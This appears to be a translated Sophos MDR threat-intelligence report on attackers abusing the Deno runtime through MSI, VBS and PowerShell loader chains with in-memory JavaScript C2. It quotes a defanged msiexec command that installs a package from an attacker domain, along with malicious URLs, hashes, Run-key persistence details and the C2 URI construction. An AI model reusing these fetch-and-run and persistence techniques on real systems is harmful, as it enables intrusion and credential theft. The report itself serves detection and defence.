Злоупотребление альтернативными средами выполнения. Проблемы с Deno-tes Defender.

В начале 2026 года Sophos MDR расследовала многочисленные случаи вторжений, связанные с кластером угроз, который постоянно использовал Deno, легитимную среду выполнения JavaScript и TypeScript, для выполнения вредоносных JavaScript-загрузок непосредственно в памяти. Хотя первоначальные векторы доступа различались у разных жертв, анализ наблюдаемого вредоносного ПО, инфраструктуры и цепочек выполнения выявил общий набор действий и инструментов после взлома.

В этом посте рассматриваются тактики, методы и процедуры (ТТП), используемые злоумышленниками и замеченные специалистами Sophos MDR в первой половине года. Анализируя общие черты в ряде случаев, MDR выявила повторяющуюся схему атак, которую продолжает отслеживать. Наши коллеги из подразделения Sophos по борьбе с угрозами также следили за развитием злоупотреблений Deno с использованием ClickFix; описание того, что они видят со своей точки зрения (и в более поздний период оценки), опубликовано здесь.

Обзор

Растущее внедрение альтернативных сред выполнения создает проблемы для специалистов по защите. Инструменты безопасности и поведенческие средства обнаружения часто оптимизированы под устоявшиеся пути атак и часто используемые в злоупотреблениях скриптовые движки. Хотя Deno является легитимным инструментом разработки, его использование злоумышленниками отражает сдвиг в сторону использования менее контролируемых сред выполнения для обеспечения надежного выполнения полезной нагрузки по потенциально неконтролируемым путям.

В рассмотренных в этом отчете случаях злоумышленники использовали подход «использование собственной среды выполнения» (BYOR), чтобы гарантировать согласованное выполнение в различных средах жертвы, независимо от того, какие среды выполнения уже были установлены на хосте. Во всех этих случаях злоумышленник загружал и устанавливал среду выполнения Deno перед выполнением обфусцированных JavaScript-загрузок, в основном, командно-контрольных (C2) нагрузок.

В многочисленных наблюдавшихся случаях злоумышленники использовали методы социальной инженерии, веб-механизмы доставки и вредоносное ПО, маскирующееся под легитимное программное обеспечение, для получения первоначального доступа. После установления контакта, вредоносные MSI-пакеты использовались для развертывания загрузчиков VBS и PowerShell, которые впоследствии загружали, устанавливали и запускали среду выполнения Deno. Как на этапе первоначального доступа, так и после взлома, злоумышленники активно использовали исполняемые бинарные файлы (LOLBins), включая msiexec, wscript, PowerShell, curl и tar. Широкое использование VBS, PowerShell и других нативных бинарных файлов позволило злоумышленникам обеспечить закрепление на сервере, выполнить идентификацию хоста, получить дополнительные полезные нагрузки, развернуть среду выполнения Deno и поддерживать связь с системой управления, смешивая вредоносную деятельность с легитимными операциями системы.

Различные JavaScript-приложения, запускаемые через Deno, выполняли идентификацию хоста, проверку контроля выполнения, постоянную связь с командным центром, а в некоторых случаях способствовали получению и выполнению дополнительных приложений. Несмотря на различия в выборе жертв и развертывании вторичных приложений, базовые механизмы подготовки, методы развертывания во время выполнения и архитектура командного центра оставались в значительной степени неизменными.

Эти наблюдения согласуются с публично сообщенными данными о злоупотреблениях Deno. ThreatDown задокументировал аналогичную цепочку вторжений, включающую выполнение JavaScript на основе Deno и распространение Castle RAT, что подчеркивает растущий интерес среди злоумышленников к использованию альтернативных сред выполнения для более скрытных операций после взлома.

В этом отчете более подробно рассматриваются механизмы кампании, включая различия в развертывании вторичной полезной нагрузки у разных пострадавших. Кроме того, в отчете представлен подробный анализ восстановленного вредоносного MSI-файла, дающий представление о механизмах подготовки, методах закрепления в системе, пользовательских действиях и методах доставки полезной нагрузки, используемых злоумышленником.

Технический анализ и идентификация

Кампании

Рисунок 1: Сходства преобладают над различиями в деревьях процессов четырех жертв. Вариации на каждом этапе, на котором присутствовали вариации, обозначены красной рамкой.

Цепочка атак следовала структурированной последовательности

Подготовка с помощью PowerShell или командной строки → Выполнение MSI-файла → Загрузчики VBS и PowerShell → Развертывание среды выполнения Deno → Выполнение полезной нагрузки в оперативной памяти .

Хотя первоначальные векторы доступа различались, последующие действия оставались единообразными, что в конечном итоге приводило к вариациям на более поздних этапах цепочки — выполнению JavaScript на основе Deno, обмену данными между командами и управлением (C2), идентификации хоста и периодической отправке маячков.

Первоначальный доступ

В четырех рассмотренных случаях злоумышленники использовали различные методы получения первоначального доступа, включая приманку в стиле ClickFix, запуск PowerShell через веб-интерфейс, запуск скриптов через веб-интерфейс и троянизированный MSI-пакет PsExec, распространяемый через поддельный репозиторий GitHub.

В первом случае первоначальный доступ был получен с помощью методов социальной инженерии в стиле ClickFix, при которых пользователям предлагаются поддельные запросы на подтверждение или устранение неполадок браузера. Эти запросы предписывают пользователям вручную скопировать и выполнить обфусцированные команды PowerShell, как правило, через диалоговое окно «Выполнить» в Windows. Это привело к запуску PowerShell, инициированному пользователем, который загрузил и запустил вредоносный установщик MSI, как показано на рисунке:

«C:windowssystem32msIeXEC.exe» /paCkAGE hxxp[:\]sendtokenscf[.]comsystem..Verifications..UsersID-466943 /Q

Во втором случае первоначальный доступ включал извлечение и выполнение удаленного скрипта в оперативной памяти. Это указывает на то, что компрометация, вероятно, произошла в результате взаимодействия пользователя со вредоносным или скомпрометированным веб-сайтом, хотя точный механизм доставки (ClickFix или выполнение через браузер) подтвердить не удалось. В качестве подтверждения можно привести активную сессию браузера, наблюдавшуюся до выполнения команды, за которой последовало выполнение обфусцированной командной строки. Эта команда восстановила вредоносный URL-адрес и запустила скрытый экземпляр PowerShell для загрузки и выполнения удаленного контента в памяти, что впоследствии привело к извлечению и выполнению вредоносной полезной нагрузки MSI с URL-адреса «hxxps[://]ypjkevsbsdhj[.]zhivachkapro[.]com».

В третьем случае первоначальный доступ, по оценке, осуществлялся через веб-интерфейс, включая получение и выполнение удаленного скрипта во время активной сессии браузера. Хотя полезная нагрузка в конечном итоге была получена с вредоносного домена «koromoblog[.]com», нет доказательств того, что пользователь напрямую перешел на этот домен. Вместо этого наблюдаемая активность указывает на косвенное выполнение скрипта через веб-интерфейс. Подтверждающие доказательства включают активность браузера, предшествующую выполнению процесса, за которой следует запуск PowerShell в контексте пользователя.

Скрытая утилита PowerShell была запущена в контексте пользователя для получения удаленного MSI-пакета и его установки через Windows Management Instrumentation (WMI), записи его в путь «C:ProgramDatau.msi» и выполнения с минимальным видимым взаимодействием с пользователем в рамках цепочки заражения.

В четвертом случае первоначальный доступ включал в себя отравление поисковой оптимизации (SEO) и подделку бренда. Пользователь загрузил вредоносный MSI-файл под названием «PsExec.msi» (SHA256: 74260ef8c440692043aaa4656947258b3acfc207c95f09682b69d031b42890a0), маскирующийся под легитимную утилиту PsExec, из поддельного репозитория GitHub «hxxps[://]github[.]com/taskp/PsExec» и запустил его напрямую, очевидно, попав в поддельный репозиторий через отравленный результат поиска Bing.

Все сценарии в конечном итоге приводили к запуску вредоносного MSI-файла, что делало этап установки постоянным элементом всей кампании.

Общая структура выполнения

Злоумышленник использовал вредоносные MSI-файлы для внедрения VBS- и PowerShell-скриптов, которые получали доступ к среде выполнения Deno. Это было распространенной проблемой во всех наблюдавшихся случаях.

Использование MSI-файлов позволило злоумышленнику надежно упаковать и запустить полезную нагрузку, используя собственный формат установщика Windows, обеспечивая совместимость в целевых средах и позволяя запускать программу через легитимный исполняемый файл «msiexec.exe», что позволяло ей сливаться с поведением легитимной системы и обходить системы обнаружения угроз. Такой подход повышает вероятность успешного выполнения на начальном этапе компрометации и обеспечивает стабильный механизм для обеспечения постоянного присутствия и запуска последующих этапов.

Скрипты VBS и PowerShell были развернуты в каталоги, доступные для записи пользователем, как правило, в %LocalAppData% с помощью пользовательских действий MSI. Файл VBS выполнял команду PowerShell без настроек профиля пользователя (-NoProfile), подавлял интерактивные запросы (-NonInteractive), скрывал окно выполнения (-WindowStyle Hidden), обходил ограничения политики выполнения (-ExecutionPolicy Bypass) и выполнялся асинхронно в фоновом режиме (0, False флагов), чтобы избежать обнаружения и взаимодействия с пользователем.

VBS-скрипты в основном функционировали как легковесные средства запуска и механизмы обеспечения постоянного доступа, отвечающие за вызов соответствующих полезных нагрузок PowerShell и поддержание выполнения между пользовательскими сессиями. Скрипты PowerShell выполняли основные подготовительные действия, включая получение и установку среды выполнения Deno и запуск полезной нагрузки JavaScript с неограниченными правами доступа.

Во всех случаях наблюдалась единая система именования, при этом имена файлов сценариев значительно совпадали с фонетическим алфавитом НАТО, что указывает на структурированный и воспроизводимый подход к организации процессов.

Таблица 1: Названия скриптов загрузки VBS и PowerShell для четырех рассмотренных случаев.

Использование LOLBin широко применялось на протяжении всей цепочки выполнения. Основные исполняемые файлы, такие как «msiexec.exe», «wscript.exe» и «powershell.exe», использовались во всех случаях как часть основной структуры выполнения. Кроме того, развертывание среды выполнения Deno осуществлялось стандартизированным способом во всех случаях: злоумышленник использовал «curl.exe» для загрузки среды выполнения и «tar.exe» для извлечения архива. Использование доверенных системных исполняемых файлов демонстрирует преднамеренный подход к смешиванию вредоносной активности с легитимными процессами при сохранении надежной модели выполнения. Использование доверенных системных исполняемых файлов позволяет злоумышленнику смешивать вредоносную активность с легитимными процессами, сохраняя при этом надежную модель выполнения.

Анализ вредоносного ПО на этапе MSI

Sophos MDR выбрал образец MSI, маскирующийся под легитимный исполняемый файл PsExec из случая 4, для анализа вредоносного ПО и связал его функциональность с активностью, наблюдаемой во время вторжения. Эта цепочка заражения обеспечивает наиболее полную информацию об инструментах злоумышленника и его поведении после взлома.

Активность была выявлена за две недели до того, как были зафиксированы другие случаи, описанные в этом отчете.

Файл “PsExec.msi” содержался в архивном файле “PsExec_v2.43.zip”. Этот вредоносный архив ранее был доступен на GitHub по адресу “hxxps[://]github[.]com/taskp/PsExec/releases/download/v2.43/PsExec_v2.43.zip”.

Анализ показывает, что MSI-файл был создан с помощью WiX и использует стандартные функции установщика, а также пользовательское действие для размещения и запуска скриптов VBS и PowerShell «Lynx_system59.vbs» (SHA256: 2541d96d1d071f87127bf0714f70692d25e1946632457718c6f378fcc4a3dca2), которые, в свою очередь, запускают «python85.ps1» (SHA256: b0af82de672d81f3c2f153977923b3884a8a9e7045b182c2379b19a1996931a0) из подпапки «Serial» в локальной папке AppData пользователя с помощью команды wscript.exe «[INSTALLFOLDER]Lynx_system59.vbs.» Эти скрипты загрузили легитимную среду выполнения Deno и запустили обфусцированную JavaScript-полезную нагрузку в оперативной памяти. Сохранение доступа обеспечивалось через ключ реестра HKCU Run «HKCUSoftwareMicrosoftWindowsCurrentVersionRun» со значением «Papa_software10». Команда в ключе Run идентична пользовательскому действию, которое запускает wscript.exe, описанному выше.

В следующих разделах анализируется порядок выполнения вредоносного MSI-файла.

набор инструментов для создания вредоносного ПО

Файл MSI был создан с помощью инструментария Windows Installer XML Toolset (WiX), который представляет собой программное обеспечение для сборки пакетов Windows Installer из XML-файлов.

Рисунок 2: Вывод строк по образцу, демонстрирующий использование набора инструментов WiX.

Злоумышленники предпочитали использовать фонетический алфавит НАТО в своих системах именования. На рисунке 3 в таблице свойств, которая содержит имена и значения всех определенных свойств в установке, производителем указан «echo_tool89». Название продукта указано как «serial», что соответствует каталогу установки, который мы рассмотрим в последующем разделе.

Рисунок 3: Таблица свойств MSI, показывающая названия и значения свойств для установки, при этом Manufacturer и ProductName соответствуют соглашениям об именовании, принятым злоумышленником.

Процесс установки

Согласно таблицам «InstallUISequence» и «InstallExecuteSequence», управляющим процессом установки MSI-файла, автор вредоносного ПО включил пользовательское действие «RunVbsLauncher» для выполнения файлов, запускаемых этим процессом.

Рисунок 4: Таблица MSI InstallExecuteSequence, упорядоченная по возрастанию порядкового номера.

Установка файлов

Рисунок 5: Таблица каталогов MSI, указывающая, что каталог INSTALLFOLDER называется «Serial» и имеет в качестве родительского каталога «LocalAppDataFolder».

Файл MSI содержит файл архива data.cab, который включает два файла: VBS-файл размером 439 байт «Lynx_system59.vbs» и сценарий PowerShell размером 3125 байт «python85.ps1». Действие «InstallFiles» копирует файлы, указанные в таблице File, из файла MSI data.cab в целевой каталог «C:UsersAppDataLocalSerial».

Оба файла имеют атрибут «msidbFileAttributesVital», указывающий установщику Windows на то, что они являются обязательными компонентами установки. Если какой-либо из этих файлов отсутствует, установка завершается с ошибкой, и установщик Windows откатывает установку.

Рисунок 6: Таблица MSI-файлов, показывающая входящие в состав MSI-файла скрипты.

Злонамеренные пользовательские действия

После установки скриптов злоумышленник использует пользовательское действие «RunVbsLauncher» типа «1250», которое предписывает wscript.exe выполнить «Lynx_system59.vbs». Командная строка, включенная в действие, выглядит следующим образом: «wscript.exe «[INSTALLFOLDER]Lynx_system59.vbs.» Wscript.exe запускается асинхронно как дочерний процесс msiexec.exe и продолжает работу после завершения msiexec.exe.

Рисунок 7: Таблица CustomAction, показывающая параметр «RunVbsLauncher», указанный злоумышленником для выполнения встроенного VBS-файла через wscript.exe.

Установление устойчивости

Злоумышленник обеспечивает постоянное присутствие в системе, используя действие WriteRegistryValues для установки значения «wscript.exe «[INSTALLFOLDER]Lynx_system59.vbs» в ключе HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunPapa_software10, идентичного значению в пользовательском действии, описанном выше. Это происходит после выполнения VBS-файла программой wscript.exe и служит механизмом обеспечения постоянного присутствия в системе, периодически запуская VBS-файл через клавишу «Выполнить» Windows для HKCU.

Рисунок 8: Таблица реестра, показывающая механизм сохранения ключа Run.

Deno как механизм выполнения без использования файлов

После развертывания с помощью цепочки MSI-VBS-PowerShell злоумышленник получил среду выполнения Deno из легитимной инфраструктуры Deno, извлек ее с помощью встроенных утилит Windows и запустил в качестве основной платформы для выполнения JavaScript-кода.

После того как злоумышленник успешно внедрил «deno.exe», исполняемый файл среды выполнения JavaScript Deno, он был запущен с флагом -A (разрешить все), предоставляющим неограниченный доступ к файловой системе, сети и переменным среды. Полезная нагрузка передавалась непосредственно в память с помощью «data:application/javascript;base64,<закодированная полезная нагрузка>», что позволяло JavaScript выполняться непосредственно в памяти без записи скриптов на диск.

JavaScript-код выполняет идентификацию хоста и использует псевдомьютекс для предотвращения дублирования экземпляров вредоносного ПО. Управление C2 осуществляется с помощью жестко заданных доменов и IP-адресов, а проверки подключения через конечные точки /health используются для определения активной инфраструктуры. Зараженные устройства в активных кампаниях получают дополнительные полезные нагрузки через конечную точку «/mv2/», выполняя их непосредственно в памяти с правами «разрешить все». Такой подход обеспечивает постоянную связь, гарантируя непрерывную работу даже в случае недоступности отдельных конечных точек C2.

Установив Deno в качестве платформы выполнения, мы переключились на анализ самого JavaScript-кода.

Зашифрованный JavaScript, выполняемый Deno.exe

Вторичный JavaScript-код был закодирован в Base64 и содержал односимвольные имена функций для маскировки его намерений. Его основная функция регулярно определяла состояние хоста и маяка, отправляя данные на конечную точку /health, чтобы установить, активна ли кампания. Также использовался порт localhost в качестве псевдо-мьютекса для предотвращения повторного заражения того же устройства.

Основная функция скрипта, Function m(), сначала передает выбранный порт (10044) функции Function s(), которая функционирует как простой мьютекс, гарантирующий выполнение на устройстве только одного экземпляра вредоносного ПО. Если порт 10044 уже занят, процесс Deno завершается с кодом ошибки 1.

Рисунок 9: Функции s() и m(), демонстрирующие привязку к localhost:10044, действующую как псевдомьютекс.

Если проверка мьютекса проходит успешно, функция a() выполняет идентификацию системы, собирая информацию об имени пользователя, имени хоста, объеме системной памяти и версии ОС. Результат передается функции i(), которая служит хеш-функцией для создания уникального идентификатора зараженного устройства. Злоумышленники могут использовать этот идентификатор для отслеживания зараженных устройств в рамках различных кампаний.

Рисунок 10: Функция a(), отображающая команды обнаружения системы.

Затем вредоносная программа формирует URI-строку, указывающую на конечную точку «/health» сервера управления и контроля (C2). Цикл for постоянно проверяет наличие подключения к C2 с помощью функции d() и возвращает ошибки, если подключение не установлено.

Рисунок 11: Функция d(), отвечающая за связь с жестко заданным C2.

Рисунок 12: Запись Wireshark, показывающая ASCII-представление клиентских пакетов для URI /health.

В случае успеха, из функции d() создается еще одна строка URI от отвечающего C2-сервера в качестве переменной e(), встроенный токен JSON Web Token (JWT) и отпечаток машины в качестве переменной t():

let o = `${e}/mv2/[JWT_TOKEN]/${t}`;

Функция u() отправляет этот запрос на конечную точку C2 по URI «/mv2/…».

Рисунок 13: Захват Wireshark, показывающий ASCII-представление клиентских пакетов для URI /mv2/

Если бы инфраструктура C2 была активна, анализ кода показывает, что среда выполнения Deno выполнила бы ответ с помощью функции l(), которая запускает deno с правами доступа «—allow-all» через аргумент -A.

Рисунок 14: Функция m() вызывает функцию l() с собранной строкой URI для конечной точки /mv2/, и функция l() выполняет возвращенную полезную нагрузку с аргументом -A.

В случае 4 злоумышленник впоследствии получил скрипты PowerShell и запустил PowerShell через легитимный исполняемый файл PsExec, чтобы получить доступ к командной оболочке с привилегиями SYSTEM. Затем он выполнил обнаружение и перечисление доменов и сетей, после чего извлек учетные данные из раздела реестра SAM.

Наблюдения на уровне кампании

В ходе этой кампании все случаи следовали схожей схеме выполнения, но отличались методами первоначального доступа. Установщики MSI загружали VBS-файлы и PowerShell-загрузчики, прежде чем перейти к Deno для выполнения полезной нагрузки.

Нам удалось выявить несколько способов, которые злоумышленник использовал для управления кампанией. Помимо различных доменов управления и контроля, они также отслеживали кампанию с помощью пользовательских утверждений во встроенном JWT-токене.

Рисунок 15: Расшифрованный раздел утверждений JWT, показывающий пользовательские утверждения, в частности, «campaignId» и «campaignName».

Операторы, предоставляющие вредоносное ПО как услугу (MaaS), продают свои услуги другим субъектам угроз и требуют механизмов отслеживания использования клиентской инфраструктуры. Наличие пользовательских полей «campaignId» и «campaignName», добавленных в JWT, может указывать на такую связь. В таблице 2 ниже показаны различия в JWT и индикаторах в разных случаях.

Таблица 2: Сравнение названий скриптов, индикаторов C2 и идентификаторов кампаний JWT по различным случаям.

Вредоносная программа на JavaScript также обладала поведением, подобным мьютексу, что предотвращало повторное заражение того же устройства, и функцией идентификации по отпечатку, которая генерировала уникальный идентификатор на основе имени пользователя, имени хоста, памяти устройства и операционной системы. Это было бы полезно для управления кампанией на разных устройствах и среди разных групп жертв.

контрмеры Sophos

Цепочка событий в этих вторжениях вызвала множество срабатываний Sophos на разных этапах активности — сработал этап удаленного выполнения MSI-файла, а также запуск диалогового окна запуска в стиле ClickFix, загрузка самого deno.exe через PowerShell и другие. В ходе нашего расследования мы выявили множество возможностей для правил, указывающих на неожиданное поведение Deno, включая контекстные правила, которые могут выявлять несанкционированное поведение, инициированное Deno. Список контрмер Taegis, способных обнаруживать активность, связанную со злоупотреблением Deno, опубликован в сообщении CTU. Отдельные системы также могут управлять средой выполнения Deno с помощью правил контроля приложений / потенциально нежелательных приложений (AppC/Deno-A) в Central. Наконец, файл, содержащий индикаторы компрометации (IoC), относящиеся к этому исследованию, доступен на нашем Github.

Заключение

В четырех рассмотренных нами случаях злоумышленники использовали Deno в качестве уровня выполнения. Это свидетельствует о сдвиге в методах работы злоумышленников — использовании менее часто отслеживаемой среды выполнения для повышения надежности выполнения и снижения вероятности обнаружения из-за ограниченного охвата средств защиты.

Что наиболее важно, это подчеркивает растущий пробел в обнаружении, особенно в отношении злоупотребления средами выполнения, такими как Deno, тестовыми средами на основе MSI и цепочками выполнения скриптов в нескольких инструментах. Использование JavaScript без файлов еще больше ограничивает традиционные методы обнаружения, что делает этот подход все более сложным для выявления с помощью обычных средств контроля безопасности.

Благодарности

Авторы выражают благодарность Лиаму Миллеру за его значительный вклад в подготовку этого отчета.

Читать полностью на источнике